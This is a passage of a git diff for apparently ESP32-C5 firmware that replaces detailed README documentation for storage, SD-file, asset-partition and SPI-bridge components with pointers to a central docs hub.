sd_file_delete(const char *path); -``` -Permanently deletes file. - ---- - -#### `sd_file_rename` -```c -esp_err_t sd_file_rename(const char *old_path, const char *new_path); -``` -Renames or moves file (same filesystem). - ---- - -#### `sd_file_move` -```c -esp_err_t sd_file_move(const char *src_path, const char *dst_path); -``` -Moves file (alias for rename). - ---- - -#### `sd_file_copy` -```c -esp_err_t sd_file_copy(const char *src_path, const char *dst_path); -``` -Copies file (source unchanged). - ---- - -#### `sd_file_truncate` -```c -esp_err_t sd_file_truncate(const char *path, size_t size); -``` -Resizes file to specified size. - ---- - -#### `sd_file_clear` -```c -esp_err_t sd_file_clear(const char *path); -``` -Clears all content (makes empty). - ---- - -### File Comparison - -#### `sd_file_compare` -```c -esp_err_t sd_file_compare(const char *path1, const char *path2, bool *are_equal); -``` -Byte-by-byte comparison. - ---- - -### Utilities - -#### `sd_file_get_extension` -```c -esp_err_t sd_file_get_extension(const char *path, char *extension, size_t size); -``` -Extracts file extension (without dot). - ---- - -## Implementation Details - -- Rename/move are atomic, copy is not -- Path buffer in `sd_file_info_t` is 256 bytes -- Not thread-safe - use mutexes for concurrent access +Documentation for this component lives in the project docs hub (single source of truth): -## Usage Example +- [docs/sd_card/c5.md](../../../../docs/sd_card/c5.md) -```c -esp_err_t backup_config(void) { - const char *config = "/sdcard/config/settings.json"; - const char *backup = "/sdcard/backups/settings.json"; - - // Create backup - if (sd_file_copy(config, backup) != ESP_OK) { - return ESP_FAIL; - } - - // Verify backup - bool equal; - sd_file_compare(config, backup, &equal); - - return equal ? ESP_OK : ESP_FAIL; -} -``` \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/spi_bridge/README.md b/firmware_c5/components/Service/spi_bridge/README.md index 4a9e08a09..54e8dce79 100644 --- a/firmware_c5/components/Service/spi_bridge/README.md +++ b/firmware_c5/components/Service/spi_bridge/README.md @@ -1,73 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi_bridge/c5.md`](../../../../docs/spi_bridge/c5.md). - # SPI Bridge - C5 Slave -This component transforms the **ESP32-C5** into a high-performance radio co-processor for the ESP32-P4. - -## How it Works -The C5 runs a background task (`spi_bridge_task`) that stays in a blocked state waiting for the P4 to send SPI bytes. - -1. **Reception**: When bytes arrive, the task validates the `0xAA` sync byte. -2. **Routing**: It switches on the `Category` byte and routes the payload to the appropriate **Dispatcher** (WiFi or Bluetooth); the `Op` byte selects the operation within that dispatcher. -3. **Execution**: The Dispatcher executes the radio command (e.g., starts a scan). -4. **Notification**: Once the command is done (or results are ready), the C5 raises the **IRQ (Handshake)** pin. -5. **Response**: The P4 sees the IRQ, sends a dummy SPI clock, and the C5 "pushes" the response packet back. - -## Memory Mapping (Zero-Copy Results) -The C5 uses a `current_data_source` pointer system. Instead of copying large scan lists into a bridge buffer, the Dispatcher simply points the bridge to the existing result array in memory: -```c -spi_bridge_provide_results(wifi_records, count, sizeof(wifi_ap_record_t)); -``` -The bridge then serves these items one by one when the P4 asks for them via the generic `SPI_ID_SYSTEM_DATA` command. - -## Key Files -- `spi_bridge.c`: Main task and generic data provider logic. -- `wifi_dispatcher.c`: Logic to translate SPI IDs to WiFi driver calls. -- `bt_dispatcher.c`: Logic to translate SPI IDs to NimBLE/BT calls. -- `spi_slave_driver.c`: Low-level peripheral configuration. -- `session_manager.c`: Session lifecycle for long-running operations - (heartbeat watchdog + backpressure). See "Session Lifecycle" below. - -## Command Categories -The `Category` header byte (`spi_cat_t`) selects the subsystem; the `Op` byte -selects the operation within it. Together they pack into `spi_id_t` via -`SPI_CMD(cat, op)`. -- `0x00`: System/Bridge management (ping, status, version, data, stream). -- `0x01`: WiFi operations. -- `0x02`: Bluetooth operations. -- `0x03`: LoRa operations. -- `0x04`: Meshtastic phone bridge. -- `0x05`: MeshCore phone bridge. -- `0xFF`: Session lifecycle (heartbeat, lost, stop). - -## Session Lifecycle (Long-Running Operations) - -For full design and migration recipe, see the -[P4 README "Session Lifecycle" section](../../../../firmware_p4/components/Service/spi_bridge/README.md#session-lifecycle-long-running-operations). -The two sides share `spi_protocol.h` so the wire format is identical. - -### Slave responsibilities (this side) - -The `session_manager` runs a background watchdog that auto-kills sessions -when the master stops sending heartbeats (5s timeout). Each long-running -operation must: - -1. Call `session_manager_start(op_id, kill_cb)` from its dispatcher case - to obtain a `session_id`. The dispatcher returns this id to the master - inside an `spi_session_resp_t` response payload. -2. Provide a `kill_cb(spi_id_t)` that calls the op's `_stop()` — invoked - by the watchdog when the master goes quiet, and also when the master - sends `SPI_ID_SESSION_STOP`. -3. **Streaming ops only**: store the id in the op (e.g. via a - `_bind_session(uint32_t)` setter) and emit packets via - `session_manager_try_emit(s_session_id, data, len)` instead of raw - `spi_bridge_stream_push` — this prefixes meta and applies backpressure. +Documentation for this component lives in the project docs hub (single source of truth): -For non-streaming ops (deauther, flood, evil_twin, beacon_spam, etc.), -the `kill_cb` lives in the dispatcher itself — the op's `.c` file does -not need to know about sessions at all. +- [docs/spi_bridge/c5.md](../../../../docs/spi_bridge/c5.md) -References: -- Streaming pattern: `wifi_sniffer.c`, `ble_sniffer.c`. -- Non-streaming pattern: see the `killed_*` static functions plus the - `open_session()` / `bt_open_session()` helpers in the dispatchers. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/storage_api/README.md b/firmware_c5/components/Service/storage_api/README.md index 1cf2432af..c9659e4bc 100644 --- a/firmware_c5/components/Service/storage_api/README.md +++ b/firmware_c5/components/Service/storage_api/README.md @@ -1,451 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_api/c5.md`](../../../../docs/storage_api/c5.md). - # Storage API -The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. - -## Features - -- **Unified Interface**: Same API for internal flash (LittleFS) and external SD cards. -- **Backend Abstraction**: Uses VFS layer underneath, works with any configured backend. -- **Automatic Path Resolution**: Automatically handles mount points - use relative paths. -- **Robustness**: Includes safety checks, recursive directory creation, and error handling. -- **High-Level Helpers**: Easy reading/writing of strings, lines, formatted text, and CSV data. - ---- - -## Architecture - -``` -Application Code - ↓ - Storage API ← You are here (recommended layer) - ↓ - VFS Core ← Backend abstraction - ↓ - SD Card / LittleFS / SPIFFS -``` - -**Dependencies:** -- Requires `vfs_core` to be initialized -- Backend selection is done in `vfs_config.h` - ---- - -## Initialization - -Before performing any operations, the storage system must be initialized. - -```c -#include "storage_init.h" - -// Initialize the storage system -// This calls vfs_init_auto() internally -esp_err_t ret = storage_init(); -if (ret != ESP_OK) { - // Handle error -} - -// Check if mounted -if (storage_is_mounted()) { - // Ready to use -} - -// Deinitialize when done (rarely needed for main application) -storage_deinit(); -``` - -### Default Directory Structure - -The storage system automatically creates a standard directory tree on initialization: - -``` -/ (e.g., /sdcard or /littlefs) -├── config/ - Configuration files -├── data/ - Application data -├── logs/ - Log files -├── cache/ - Temporary cache -├── temp/ - Temporary files -├── backup/ - Backup files -├── certs/ - SSL/TLS certificates -├── scripts/ - Script files -└── captive_portal/ - Captive portal files -``` - -These directories are defined in `storage_dirs.h` and can be accessed via macros: - -```c -#include "storage_dirs.h" - -// Macros automatically include the mount point -// Example: STORAGE_DIR_CONFIG expands to "/sdcard/config" or "/littlefs/config" - -// Write to config directory -storage_write_string(STORAGE_DIR_CONFIG "/settings.json", json_data); - -// Append to logs -storage_append_formatted(STORAGE_DIR_LOGS "/system.log", "[%lu] Event\n", timestamp); - -// Save backup -storage_file_copy(STORAGE_DIR_DATA "/important.dat", STORAGE_DIR_BACKUP "/important.dat"); -``` - -**Path Handling:** -- All Storage API functions accept **relative paths** (e.g., `/config/file.txt`) -- Mount point is automatically prepended internally -- You can use either `"/config/file.txt"` or `STORAGE_DIR_CONFIG "/file.txt"` -- Paths starting with `/` are treated as relative to mount point -- Paths already containing the mount point are used as-is - -**Note**: Directory creation is non-critical. If any directory fails to create, initialization continues successfully, and you can create directories manually later as needed. - ---- - -## File Operations - -Header: `storage_impl.h` - -### Basic Management - -| Function | Description | -|----------|-------------| -| `bool storage_file_exists(const char *path)` | Checks if a file exists. | -| `esp_err_t storage_file_delete(const char *path)` | Deletes a file. | -| `esp_err_t storage_file_rename(const char *old, const char *new)` | Renames or moves a file. | -| `esp_err_t storage_file_copy(const char *src, const char *dst)` | Copies a file. | -| `esp_err_t storage_file_move(const char *src, const char *dst)` | Moves a file (same as rename). | -| `esp_err_t storage_file_clear(const char *path)` | Clears file content (truncates to 0). | -| `esp_err_t storage_file_truncate(const char *path, size_t size)` | Truncates file to specified size. | -| `esp_err_t storage_file_compare(const char *p1, const char *p2, bool *equal)` | Compares two files for equality. | - -### Information - -```c -// File information structure -typedef struct { - char path[256]; // Full path to file - size_t size; // File size in bytes - time_t modified_time; // Last modification time (Unix timestamp) - time_t created_time; // Creation time (Unix timestamp) - bool is_directory; // True if this is a directory - bool is_hidden; // True if hidden file - bool is_readonly; // True if read-only -} storage_file_info_t; -``` - -| Function | Description | -|----------|-------------| -| `esp_err_t storage_file_get_size(const char *path, size_t *size)` | Gets file size in bytes. | -| `esp_err_t storage_file_is_empty(const char *path, bool *empty)` | Checks if a file is empty. | -| `esp_err_t storage_file_get_info(const char *path, storage_file_info_t *info)` | Gets detailed info (size, times, attributes). | -| `esp_err_t storage_file_get_extension(const char *path, char *ext, size_t size)` | Extracts file extension. | - ---- - -## Reading Data - -Header: `storage_read.h` - -The API provides various ways to read data depending on your needs. - -### Strings & Binary - -```c -// Read entire file into a string buffer (null-terminated) -char buffer[128]; -storage_read_string("/config/settings.txt", buffer, sizeof(buffer)); - -// Read binary data -uint8_t data[64]; -size_t bytes_read; -storage_read_binary("/data/image.bin", data, sizeof(data), &bytes_read); - -// Read chunk from specific offset -storage_read_chunk("/data/large.bin", 1024, data, sizeof(data), &bytes_read); -``` - -### Line-by-Line - -```c -// Read specific line (1-based index) -char line[64]; -storage_read_line("/logs/system.log", line, sizeof(line), 5); - -// Read first/last line helpers -storage_read_first_line("/logs/system.log", line, sizeof(line)); -storage_read_last_line("/logs/system.log", line, sizeof(line)); - -// Iterate over all lines using a callback -void my_line_callback(const char *line, void *user_data) { - printf("Read line: %s\n", line); -} -storage_read_lines("/data/list.txt", my_line_callback, NULL); - -// Count lines in file -uint32_t count; -storage_count_lines("/data/list.txt", &count); -``` - -### Typed Data - -```c -int32_t count; -storage_read_int("/config/boot_count", &count); - -float temperature; -storage_read_float("/config/temp_threshold", &temperature); - -uint8_t byte; -storage_read_byte("/data/flag", &byte); - -uint8_t bytes[16]; -size_t num_bytes; -storage_read_bytes("/data/raw", bytes, sizeof(bytes), &num_bytes); -``` - -### Search Operations - -```c -// Check if file contains a string -bool found; -storage_file_contains("/logs/events.log", "ERROR", &found); - -// Count occurrences of a string -uint32_t count; -storage_count_occurrences("/logs/events.log", "WARNING", &count); -``` - ---- - -## Writing Data - -Header: `storage_write.h` - -All write functions automatically create parent directories if they don't exist (recursive mkdir). - -### Strings & Binary - -```c -// Write (overwrite) a string to a file -storage_write_string("/data/status.txt", "System Ready"); - -// Append to a file -storage_append_string("/logs/app.log", "Event occurred"); - -// Write binary data -uint8_t raw_data[] = {0x01, 0x02, 0x03}; -storage_write_binary("/data/blob.bin", raw_data, sizeof(raw_data)); - -// Append binary data -storage_append_binary("/data/stream.bin", raw_data, sizeof(raw_data)); -``` - -### Line-Based Writing - -```c -// Write single line with newline -storage_write_line("/data/entry.txt", "First entry"); - -// Append line with newline -storage_append_line("/logs/events.log", "Event occurred at 12:00"); -``` - -### Formatted Output - -Similar to `printf`, useful for logs or human-readable data. - -```c -storage_write_formatted("/logs/info.txt", "Boot count: %d\nTime: %u", count, timestamp); -storage_append_formatted("/logs/events.log", "[INFO] Sensor %s: %.2f\n", sensor_name, value); -``` - -### Typed Data - -```c -// Write integer -storage_write_int("/config/counter", 42); - -// Write float -storage_write_float("/config/threshold", 3.14159); - -// Write single byte -storage_write_byte("/data/flag", 0xFF); - -// Write byte array -uint8_t data[] = {0xDE, 0xAD, 0xBE, 0xEF}; -storage_write_bytes("/data/magic", data, sizeof(data)); -``` - -### CSV Support - -Helper for writing structured data. - -```c -const char *header[] = {"Timestamp", "Value", "Unit"}; -storage_write_csv_row("/data/sensors.csv", header, 3); -// Writes: Timestamp,Value,Unit\n - -const char *row[] = {"1234567890", "23.5", "°C"}; -storage_append_csv_row("/data/sensors.csv", row, 3); -// Appends: 1234567890,23.5,°C\n -``` - ---- - -## Directory Operations - -Header: `storage_impl.h` - -| Function | Description | -|----------|-------------| -| `esp_err_t storage_dir_create(const char *path)` | Creates a directory. | -| `esp_err_t storage_dir_remove(const char *path)` | Removes an empty directory. | -| `esp_err_t storage_dir_remove_recursive(const char *path)` | Removes a directory and all contents. | -| `bool storage_dir_exists(const char *path)` | Checks if directory exists. | -| `esp_err_t storage_dir_is_empty(const char *path, bool *empty)` | Checks if directory is empty. | -| `esp_err_t storage_dir_list(const char *path, storage_dir_callback_t cb, void *user_data)` | Lists directory contents via callback. | -| `esp_err_t storage_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count)` | Counts files and subdirectories. | - -**Note**: `storage_dir_copy_recursive()` and `storage_dir_get_size()` return `ESP_ERR_NOT_SUPPORTED` (not yet implemented). - -### Directory Listing Example - -```c -void list_callback(const char *name, bool is_dir, void *user_data) { - printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); -} - -storage_dir_list("/data", list_callback, NULL); -``` - ---- - -## Storage Information - -Header: `storage_impl.h` - -Monitor storage usage and health. - -```c -// Print detailed usage report to log -storage_print_info_detailed(); - -// Get complete storage information -storage_info_t info; -storage_get_info(&info); -printf("Backend: %s\n", info.backend_name); -printf("Mount: %s\n", info.mount_point); -printf("Total: %llu bytes\n", info.total_bytes); - -// Get individual values -uint64_t total, free, used; -storage_get_total_space(&total); -storage_get_free_space(&free); -storage_get_used_space(&used); - -// Get usage percentage -float percent; -storage_get_usage_percent(&percent); - -// Get backend information -const char *backend = storage_get_backend_type(); -const char *mount = storage_get_mount_point_str(); -``` - ---- - -## Helper Functions - -Header: `storage_mkdir.h` - -```c -// Create directory path recursively (used internally by write functions) -esp_err_t storage_mkdir_recursive(const char *path); -``` - -This function creates all parent directories as needed. It's automatically called by write operations, but can be used directly when needed. - ---- - -## Example Usage - -```c -#include "storage_init.h" -#include "storage_impl.h" -#include "storage_read.h" -#include "storage_write.h" -#include "storage_dirs.h" - -void app_main() { - // Initialize storage (calls vfs_init_auto internally) - if (storage_init() != ESP_OK) { - printf("Storage init failed!\n"); - return; - } - - // Check for config file - if (storage_file_exists(STORAGE_DIR_CONFIG "/settings.json")) { - char config[1024]; - storage_read_string(STORAGE_DIR_CONFIG "/settings.json", config, sizeof(config)); - // Process config... - } else { - // Create default config - storage_write_string(STORAGE_DIR_CONFIG "/settings.json", "{ \"defaults\": true }"); - } - - // Log startup event with timestamp - storage_append_formatted(STORAGE_DIR_LOGS "/boot.log", - "System started at %lu\n", xTaskGetTickCount()); - - // Write sensor data to CSV - const char *header[] = {"Time", "Temp", "Humidity"}; - storage_write_csv_row(STORAGE_DIR_DATA "/sensors.csv", header, 3); - - const char *data[] = {"12:00", "23.5", "65"}; - storage_append_csv_row(STORAGE_DIR_DATA "/sensors.csv", data, 3); - - // Check storage health - float usage; - storage_get_usage_percent(&usage); - printf("Storage usage: %.1f%%\n", usage); - - // List directory contents - uint32_t files, dirs; - storage_dir_count(STORAGE_DIR_DATA, &files, &dirs); - printf("Data directory: %lu files, %lu subdirectories\n", files, dirs); -} -``` - ---- - -## Best Practices - -1. **Always use relative paths** - Let the API handle mount points -2. **Use directory macros** - `STORAGE_DIR_CONFIG` instead of hardcoded `"/config"` -3. **Check return values** - All functions return `esp_err_t` for error handling -4. **Monitor storage** - Use `storage_get_usage_percent()` to prevent full disk -5. **Use appropriate read functions** - Line-by-line for logs, binary for images -6. **Automatic directory creation** - Write functions create parent directories automatically -7. **Path flexibility** - Relative paths (`/config/file.txt`) or full mount paths both work - ---- - -## Error Handling - -All functions return `esp_err_t` values. Common return codes: - -- `ESP_OK` - Operation successful -- `ESP_ERR_INVALID_ARG` - Invalid argument (NULL pointer, invalid size) -- `ESP_ERR_INVALID_STATE` - Storage not mounted -- `ESP_FAIL` - General failure (file not found, I/O error, etc.) -- `ESP_ERR_NOT_FOUND` - Item not found (used by some search functions) -- `ESP_ERR_NOT_SUPPORTED` - Feature not implemented +Documentation for this component lives in the project docs hub (single source of truth): -Always check return values: +- [docs/storage_api/c5.md](../../../../docs/storage_api/c5.md) -```c -esp_err_t ret = storage_write_string("/config/test.txt", "data"); -if (ret != ESP_OK) { - ESP_LOGE(TAG, "Write failed: %s", esp_err_to_name(ret)); -} -``` \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/storage_assets/README.md b/firmware_c5/components/Service/storage_assets/README.md index 7c760c9d0..c23311adb 100644 --- a/firmware_c5/components/Service/storage_assets/README.md +++ b/firmware_c5/components/Service/storage_assets/README.md @@ -1,623 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_assets/c5.md`](../../../../docs/storage_assets/c5.md). - # Storage Assets Component -This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. - -## Overview - -- **Location:** `components/storage/storage_assets/` -- **Main Header:** `include/storage_assets.h` -- **Implementation:** `storage_assets.c` -- **Dependencies:** `esp_littlefs`, `esp_vfs` -- **Partition:** `assets` (LittleFS, read-only in production) - -## Key Features - -- **Dedicated Partition:** Separate from application code and main storage. -- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. -- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. -- **Auto-Discovery:** Automatically lists all files in partition on initialization. -- **Memory Management:** Helper function to load entire files with automatic allocation. -- **Directory Traversal:** Recursive directory listing for debugging. - -## Typical Use Cases - -- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. -- **Fonts:** Pre-compiled font files for text rendering. -- **Configuration Templates:** Default configuration files. -- **Audio Samples:** Short sound effects or melodies. -- **IR/RF Databases:** Preloaded signal databases. -- **Firmware Resources:** Any read-only data needed by the application. - -## Configuration - -### Partition Table - -The assets partition must be defined in your partition table (`partitions.csv`): - -```csv -# Name, Type, SubType, Offset, Size, Flags -nvs, data, nvs, 0x9000, 0x6000, -phy_init, data, phy, 0xf000, 0x1000, -factory, app, factory, 0x10000, 1M, -assets, data, spiffs, 0x110000, 512K, -storage, data, spiffs, 0x190000, 1M, -``` - -**Important Notes:** -- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). -- Size should be sufficient for all your assets (adjust as needed). -- The partition must be flashed before use. - -### Constants - -```c -#define ASSETS_MOUNT_POINT "/assets" -#define ASSETS_PARTITION_LABEL "assets" -``` - -These are defined internally and cannot be changed without modifying the source. - ---- - -## API Reference - -### Initialization - -#### `storage_assets_init` - -```c -esp_err_t storage_assets_init(void); -``` - -Initializes and mounts the assets partition. Must be called before any other asset operations. - -**Behavior:** -- Mounts the LittleFS partition at `/assets`. -- Formats the partition if mounting fails (useful for first flash). -- Lists all files in the partition for debugging. -- Displays partition size and usage statistics. - -**Returns:** -- `ESP_OK` - Assets partition mounted successfully. -- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. -- `ESP_FAIL` - Mount or format failed. -- `ESP_ERR_INVALID_STATE` - Already initialized. - -**Example:** -```c -void app_main(void) { - esp_err_t ret = storage_assets_init(); - if (ret == ESP_OK) { - printf("Assets ready!\n"); - } else if (ret == ESP_ERR_NOT_FOUND) { - printf("ERROR: 'assets' partition not found!\n"); - printf("Check your partition table.\n"); - } else { - printf("Assets init failed: %s\n", esp_err_to_name(ret)); - } -} -``` - -**Console Output Example:** -``` -I (1234) storage_assets: Initializing LittleFS for assets partition -I (1245) storage_assets: Assets ready at /assets -I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes -I (1247) storage_assets: === Files in assets partition === -I (1248) storage_assets: [1] logo.bin (1200 bytes) -I (1249) storage_assets: [DIR] fonts/ -I (1250) storage_assets: [2] arial.ttf (45000 bytes) -I (1251) storage_assets: [3] config_template.json (567 bytes) -I (1252) storage_assets: Total: 3 file(s), 1 dir(s) -I (1253) storage_assets: ================================ -``` - ---- - -#### `storage_assets_deinit` - -```c -esp_err_t storage_assets_deinit(void); -``` - -Unmounts the assets partition and releases resources. - -**Returns:** -- `ESP_OK` - Unmounted successfully. -- `ESP_ERR_INVALID_STATE` - Not initialized. - -**Example:** -```c -// Before system shutdown -storage_assets_deinit(); -``` - ---- - -#### `storage_assets_is_mounted` - -```c -bool storage_assets_is_mounted(void); -``` - -Checks if the assets partition is currently mounted. - -**Returns:** -- `true` - Partition is mounted and ready. -- `false` - Partition is not mounted. - -**Example:** -```c -if (!storage_assets_is_mounted()) { - storage_assets_init(); -} -``` - ---- - -### File Access - -#### `storage_assets_get_file_size` - -```c -esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); -``` - -Gets the size of a file in the assets partition without reading it. - -**Parameters:** -- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). -- `out_size` - Pointer to store file size in bytes. - -**Returns:** -- `ESP_OK` - Size retrieved successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - NULL parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -size_t logo_size; -if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { - printf("Logo is %zu bytes\n", logo_size); - - // Allocate buffer of exact size - uint8_t *buffer = malloc(logo_size); -} -``` - ---- - -#### `storage_assets_read_file` - -```c -esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); -``` - -Reads file content into a pre-allocated buffer. - -**Parameters:** -- `filename` - Name of the file. -- `buffer` - Pre-allocated buffer to receive data. -- `size` - Maximum bytes to read (buffer size). -- `out_read` - Pointer to store actual bytes read (can be NULL). - -**Returns:** -- `ESP_OK` - File read successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - Invalid parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -uint8_t buffer[2048]; -size_t bytes_read; - -esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); -if (ret == ESP_OK) { - buffer[bytes_read] = '\0'; // Null-terminate if text - printf("Config: %s\n", (char *)buffer); -} else { - printf("Failed to read config: %s\n", esp_err_to_name(ret)); -} -``` - ---- - -#### `storage_assets_load_file` - -```c -uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); -``` - -Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** - -**Parameters:** -- `filename` - Name of the file. -- `out_size` - Pointer to store file size (can be NULL). - -**Returns:** -- Pointer to allocated buffer containing file data. -- `NULL` on error (allocation failure, file not found, etc.). - -**Example:** -```c -size_t image_size; -uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); - -if (image_data != NULL) { - // Use the image data - display_draw_bitmap(image_data, image_size); - - // IMPORTANT: Free when done! - free(image_data); -} else { - printf("Failed to load splash screen\n"); -} -``` - -**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. - ---- - -### Utility Functions - -#### `storage_assets_get_mount_point` - -```c -const char* storage_assets_get_mount_point(void); -``` - -Returns the mount point path for the assets partition. - -**Returns:** -- Constant string "/assets". - -**Example:** -```c -const char *mount = storage_assets_get_mount_point(); - -// Construct full path -char full_path[128]; -snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); - -// Use with standard file operations -FILE *f = fopen(full_path, "r"); -``` - ---- - -#### `storage_assets_print_info` - -```c -void storage_assets_print_info(void); -``` - -Prints detailed information about the assets partition to the console. - -**Parameters:** None - -**Returns:** Nothing (void) - -**Example Output:** -``` -I (1234) storage_assets: === Assets Partition Info === -I (1235) storage_assets: Mount point: /assets -I (1236) storage_assets: Partition: assets -I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) -I (1238) storage_assets: Used: 98765 bytes (96.45 KB) -I (1239) storage_assets: Free: 425523 bytes (415.55 KB) -I (1240) storage_assets: Usage: 18.8% -``` - -**Usage:** -```c -// During debugging or diagnostics -storage_assets_print_info(); -``` - ---- - -## Implementation Details - -### Directory Listing - -The component includes a recursive directory listing function that runs automatically during initialization: - -```c -static void list_directory_recursive(const char *path, const char *prefix, - int *file_count, int *dir_count); -``` - -This helps during development to verify that assets were flashed correctly. - -### Path Handling - -All file operations internally prepend the mount point: - -```c -// User provides: "logo.bin" -// Internally becomes: "/assets/logo.bin" -``` - -Subdirectories are supported: -```c -// User provides: "fonts/arial.ttf" -// Internally becomes: "/assets/fonts/arial.ttf" -``` - -### Error Handling - -All functions validate: -- Initialization state -- Parameter validity -- File existence -- Memory allocation success - -Always check return values to ensure robust operation. - ---- - -## Usage Patterns - -### Loading a Bitmap for Display - -```c -void display_splash_screen(void) { - size_t image_size; - uint8_t *image = storage_assets_load_file("splash.bin", &image_size); - - if (image == NULL) { - ESP_LOGE(TAG, "Failed to load splash screen"); - return; - } - - // Expected format: 128x64 monochrome bitmap - if (image_size != (128 * 64) / 8) { - ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); - } - - // Send to display - oled_draw_bitmap(0, 0, image, 128, 64); - - // Clean up - free(image); -} -``` - ---- - -### Loading Configuration Template - -```c -cJSON* load_default_config(void) { - uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); - if (json_data == NULL) { - return NULL; - } - - cJSON *config = cJSON_Parse((const char *)json_data); - free(json_data); - - return config; -} -``` - ---- - -### Preloading Assets at Boot - -```c -typedef struct { - uint8_t *logo_data; - size_t logo_size; - uint8_t *font_data; - size_t font_size; -} app_assets_t; - -app_assets_t g_assets = {0}; - -esp_err_t preload_assets(void) { - // Load logo - g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); - if (g_assets.logo_data == NULL) { - return ESP_FAIL; - } - - // Load font - g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); - if (g_assets.font_data == NULL) { - free(g_assets.logo_data); - return ESP_FAIL; - } - - ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", - g_assets.logo_size, g_assets.font_size); - - return ESP_OK; -} - -void cleanup_assets(void) { - free(g_assets.logo_data); - free(g_assets.font_data); - memset(&g_assets, 0, sizeof(g_assets)); -} -``` - ---- - -### Chunked Reading for Large Files - -```c -esp_err_t process_large_asset(const char *filename) { - FILE *f = fopen("/assets/large_file.dat", "rb"); - if (!f) { - return ESP_FAIL; - } - - uint8_t chunk[512]; - size_t bytes_read; - - while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { - // Process chunk - process_data(chunk, bytes_read); - } - - fclose(f); - return ESP_OK; -} -``` - ---- - -### Conditional Asset Loading - -```c -void load_language_assets(const char *language) { - char filename[64]; - snprintf(filename, sizeof(filename), "strings_%s.json", language); - - uint8_t *strings = storage_assets_load_file(filename, NULL); - if (strings == NULL) { - ESP_LOGW(TAG, "Language '%s' not found, using default", language); - strings = storage_assets_load_file("strings_en.json", NULL); - } - - if (strings != NULL) { - parse_language_strings((const char *)strings); - free(strings); - } -} -``` - ---- - -## Flashing Assets - -### Option 1: Automatic (Recommended) - -Add to your `CMakeLists.txt`: - -```cmake -# Create assets partition image from 'assets' folder -littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) -``` - -This automatically flashes the `assets/` folder content when running `idf.py flash`. - -### Option 2: Manual Flash - -```bash -# Build the assets partition image -idf.py build - -# Flash everything including assets -idf.py flash - -# Or flash only assets partition -esptool.py write_flash 0x110000 build/assets.bin -``` - -**Note:** Replace `0x110000` with the actual offset from your partition table. - -### Asset Folder Structure - -``` -project/ -├── assets/ -│ ├── logo.bin -│ ├── config_template.json -│ ├── fonts/ -│ │ ├── arial.ttf -│ │ └── mono.ttf -│ └── images/ -│ ├── icon_wifi.bin -│ └── icon_battery.bin -└── main/ - └── main.c -``` - ---- - -## Troubleshooting - -### "Partition 'assets' not found" - -**Problem:** The assets partition is not defined in the partition table. - -**Solution:** -1. Add partition to `partitions.csv`: - ```csv - assets, data, spiffs, 0x110000, 512K, - ``` -2. Set partition table in `sdkconfig`: - ``` - CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" - CONFIG_PARTITION_TABLE_CUSTOM=y - ``` -3. Rebuild: `idf.py fullclean && idf.py build` - ---- - -### "(empty - partition has no files!)" - -**Problem:** Assets partition exists but contains no files. - -**Solution:** -1. Create `assets/` folder in project root -2. Add files to the folder -3. Enable automatic flash in `CMakeLists.txt`: - ```cmake - littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) - ``` -4. Rebuild and flash: `idf.py flash` - ---- - -### "Failed to allocate memory" - -**Problem:** Insufficient heap for large asset file. - -**Solutions:** -- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` -- Read file in chunks instead of loading entirely -- Increase heap size in `sdkconfig`: - ``` - CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 - CONFIG_FREERTOS_HZ=1000 - ``` - ---- - -### File Not Found at Runtime - -**Problem:** File exists in assets folder but not found at runtime. - -**Checklist:** -- [ ] Is partition flashed? (`idf.py flash`) -- [ ] Is filename correct? (case-sensitive!) -- [ ] Is `storage_assets_init()` called before reading? -- [ ] Check `storage_assets_print_info()` output - does it list your file? - ---- - -## Performance Considerations - -- **Initialization:** Takes 